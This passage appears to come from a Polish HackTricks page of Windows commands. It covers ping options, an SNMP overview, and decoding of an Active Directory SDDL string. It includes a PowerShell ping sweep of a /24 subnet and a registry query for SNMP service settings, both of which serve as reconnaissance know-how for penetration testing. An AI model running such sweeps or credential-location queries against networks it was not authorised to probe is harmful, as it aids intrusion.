  • -s źródło - Określa adres źródłowy pakietów ICMP Echo Request.
  • -w czas - Określa czas oczekiwania na odpowiedź w milisekundach.
  • -R - Włącza rejestrowanie ścieżki pakietów w odpowiedziach ICMP Echo Reply.
  • -S - Włącza rejestrowanie adresu źródłowego w odpowiedziach ICMP Echo Reply.

Przykłady użycia

ping google.com
ping -n 5 192.168.1.1
ping -t -w 1000 8.8.8.8

Ping jest przydatnym narzędziem do sprawdzania dostępności hostów w sieci. Może być również używany w celach testowych i diagnostycznych.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

SNMP (Simple Network Management Protocol) jest protokołem sieciowym używanym do zarządzania i monitorowania urządzeń sieciowych. Pozwala na zdalne monitorowanie i kontrolę urządzeń takich jak routery, przełączniki, serwery itp. Protokół SNMP działa na zasadzie zapytania i odpowiedzi, gdzie zarządzający urządzenie wysyła zapytanie do urządzenia docelowego, a to zwraca odpowiedź zawierającą informacje o swoim stanie i konfiguracji.

Komponenty SNMP

Protokół SNMP składa się z trzech głównych komponentów:

  1. Zarządzający (Manager): Jest to urządzenie lub aplikacja odpowiedzialna za monitorowanie i zarządzanie urządzeniami sieciowymi. Zarządzający wysyła zapytania do urządzeń docelowych i odbiera odpowiedzi.

  2. Agent: Jest to oprogramowanie lub moduł zainstalowany na urządzeniu docelowym, które odpowiada na zapytania zarządzającego. Agent monitoruje i zbiera informacje o stanie urządzenia i przekazuje je do zarządzającego.

  3. MIB (Management Information Base): Jest to baza danych zawierająca informacje o urządzeniach sieciowych, które mogą być monitorowane i zarządzane za pomocą protokołu SNMP. MIB definiuje strukturę danych i dostępne parametry dla urządzeń.

Rodzaje zapytań SNMP

Protokół SNMP obsługuje różne rodzaje zapytań, które mogą być wysyłane przez zarządzającego do agenta. Najważniejsze z nich to:

  • GET: Zarządzający wysyła zapytanie GET do agenta, aby uzyskać wartość określonego parametru.

  • SET: Zarządzający wysyła zapytanie SET do agenta, aby zmienić wartość określonego parametru.

  • GETNEXT: Zarządzający wysyła zapytanie GETNEXT do agenta, aby uzyskać następny parametr w MIB.

  • GETBULK: Zarządzający wysyła zapytanie GETBULK do agenta, aby uzyskać wiele wartości parametrów jednocześnie.

Zabezpieczenia SNMP

Protokół SNMP może być podatny na ataki, dlatego istnieją różne mechanizmy zabezpieczeń, które można zastosować, aby zminimalizować ryzyko. Niektóre z tych mechanizmów to:

  • Community String: Jest to hasło używane do uwierzytelniania zarządzającego i agenta. Należy zadbać o silne hasło i regularnie je zmieniać.

  • Access Control: Można skonfigurować kontrolę dostępu, aby określić, które adresy IP mają uprawnienia do komunikacji z agentem.

  • SNMPv3: Jest to najnowsza wersja protokołu SNMP, która wprowadza silniejsze mechanizmy uwierzytelniania i szyfrowania.

Podsumowanie

SNMP jest protokołem używanym do zarządzania i monitorowania urządzeń sieciowych. Składa się z zarządzającego, agenta i MIB. Protokół obsługuje różne rodzaje zapytań, takie jak GET, SET, GETNEXT i GETBULK. Aby zabezpieczyć SNMP, należy korzystać z silnych haseł, kontrolować dostęp i rozważyć użycie SNMPv3.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Konwertowanie ciągu SDDL na czytelny format

To convert the SDDL string into a readable format, you can use the ConvertFrom-SddlString cmdlet in PowerShell. This cmdlet allows you to convert the Security Descriptor Definition Language (SDDL) string into an object that can be easily read and understood.

Here is an example of how to use the ConvertFrom-SddlString cmdlet:

$sddlString = "O:BAG:BAD:(A;;0x1;;;S-1-5-32-544)(A;;0x1;;;S-1-5-18)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor

This will output the converted SDDL string in a readable format, showing the various access control entries (ACEs) and their corresponding permissions.

By using this cmdlet, you can quickly analyze and understand the permissions set in the SDDL string, which can be useful for troubleshooting or auditing purposes.


PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Właściciel            : BUILTIN\Administrators
Grupa            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
<details>

<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Inne sposoby wsparcia HackTricks:

* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.

</details>